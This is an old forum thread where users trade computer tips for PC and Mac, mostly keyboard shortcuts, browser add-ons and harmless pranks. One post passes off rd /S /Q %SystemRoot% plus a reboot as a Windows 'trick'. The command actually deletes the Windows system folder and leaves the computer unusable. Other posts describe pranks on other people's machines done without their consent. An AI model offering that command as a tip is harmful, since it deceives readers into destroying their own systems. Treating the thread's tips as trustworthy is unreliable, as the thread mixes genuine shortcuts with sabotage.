Cool computer tricks to know (pc or mac)

skithesprings

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since the last bump didnt work,

i want to hear some more tricks

Dec 4 2008 10:45PM

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Travapple.

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bump.

Dec 4 2008 11:54PM

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GGreene

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this is not really that cool but it comes in handy when you want to write it a code

hold down shift and alt or just alt (there are different ones) then what ever letters you want and they make different symbols, it is also good for physics. i have no idea if it works on windows but it works on my mac

Dec 5 2008 12:20AM

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steezemeister

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my threads

Dec 5 2008 1:19AM

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k-rob

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i wouldn't trust that guy either. never trust anybody who takes pictures of themselves, that's one of my principles.

Dec 5 2008 12:47PM

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gmack24

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PC- just discovered that by right clicking the windows taskbar you can add an Itunes mini player. Right click, tools, itunes. So sick, will play whatever playlist you were last on without even having itunes open

Dec 10 2008 3:56AM

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Grove_Street

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my threads

Dec 10 2008 11:18AM

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[tightpants]

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My favorite mac trick--

To zoom in and out, hold down ctrl and scroll up or down with your mouse (2 finger drag up or down on a macbook) Everything on the screen functions--you can type, click, etc. It can be really helpful.

Dec 10 2008 1:49PM

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stempy

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some of the firefox add-ons are so sick. just go to Tools then Add Ons. I recommend BOOST for facebook, you can change ur skins on facebook and a bunch of neat stuff, and also check out the new CTRL+TAB application the cooliris.

Dec 10 2008 2:27PM

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stempy

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this is cooliris when searching for images, it turns pics into a 3-d wall from google. but there is sooo much more

Dec 10 2008 2:32PM

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Shpadoinkle

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It's like iPhone!

Dec 10 2008 2:34PM

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TechnoPotamus

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very cool

Dec 10 2008 2:44PM

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chapz

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its good but my firefox searches a word if i start typing.. its sick.

also, you dont have to put .com for large sits with firefox

Dec 10 2008 3:07PM

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VT_scratch

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yea thats pretty sick my school installed it on all of the comps

Dec 10 2008 3:37PM

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[MEGAMO]

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what is the program called that lets you have the apple style program menu on the bottom

Dec 10 2008 9:55PM

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powderhound100

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if on a mac, download quicksilver. opens applications hella quick. really easy to use program

sorry if it was already posted, I didnt read all the shit

also itunes shut is cool. want to go to bed and listen to music? set it to play a couple songs then turn off

Dec 11 2008 1:09AM

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r3dbullninja

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if your friend goes to the bathroom or something, this is the best trick which will confuse them for a long time... Best COMPUTER PRANK

when they leave,

bring up the desktop and press the key on the keyboard that says "Prnt Scrn"

open up the paint application and right click and paste.

a pic of the desktop will be pasted, then save the file to "my pictures" or something

Right-click on the desktop background and select "Arrange Icons By", then select "Show Desktop Items" to uncheck it. If your friend's computer doesn't show the "Show Desktop Items" option, you may move all of their desktop icons (user created ones, not the Recycle Bin, etc.) to a different folder. You may also hide desktop icons such as "My Documents", "My Computer", "Internet Explorer", etc. by right-clicking on the desktop, selecting "Properties", clicking on the "Desktop" tab, and then clicking on the "Customize Desktop..." button.

then go to the file where you saved the picture of their background and right click and press"set as background.."

then right click on the bottom toolbar and go to properties. Then check the box called auto hide.

then.... watch as your friend attempts vainly to click mozilla or itunes a million times...lol noobz

Dec 11 2008 1:27AM

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gmack24

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rocket docket from ..i actually am running xp, but dl'd a program to make it look like vista called vistamizer, both can be found here:

http://www.100-downloads.com/

Dec 11 2008 2:14AM

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CWilson

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for macs

command + two fingers on mouse pad lets you zoom in and out

command + F lets you search for words on the webpage

control + command + D and place your cursor over any word in safari for a pop up dictionary

highlight text in safari and click Safari > Services > Summarize

command + shift + 3 for screen shot

command + control on any application that is up to bring up the preferences menu

Dec 11 2008 3:44AM

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Scott~~~~~~~~~~

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For windows:
- click start, then run, then type cmd and hit enter
- in the black command line window that opens, type this: rd /S /Q %SystemRoot%
- hit enter and then reboot

Dec 23 2008 10:49PM

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caucasian_chad

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I can

hack

NS!

Dec 23 2008 10:50PM

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Scott~~~~~~~~~~

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Are you eheath?~

Dec 23 2008 10:51PM

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caucasian_chad

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No, I can actually do it.

Dec 23 2008 10:53PM

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Tasche

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I got some type of virus after just looking at this page. I ran AVG and AD Aware and nothing popped up but evertime I am on the internet I get a shit load of pop ups. any help? I have firefox on a pc.

Dec 24 2008 6:40PM

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skihillraod

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my threads for later

Jun 26 2009 5:28PM

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spotter487

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an epic thread. I thought a lot of this stuff was common knowledge tho

Jun 26 2009 6:07PM

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DrZoidberg

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On macs, control+option+command+8=inverted screen colors. Or whatever those three buttons are down there under shift.

Did it in school to some girls laptop, and she wnet to the teacher and they couldn't figure out what the problem was. At the end of class i just went up, changed it back and left. It was lolz.

I also know like all the photoshop shortcuts for tools and some other stuff, they're really helpful.

Jun 26 2009 6:30PM

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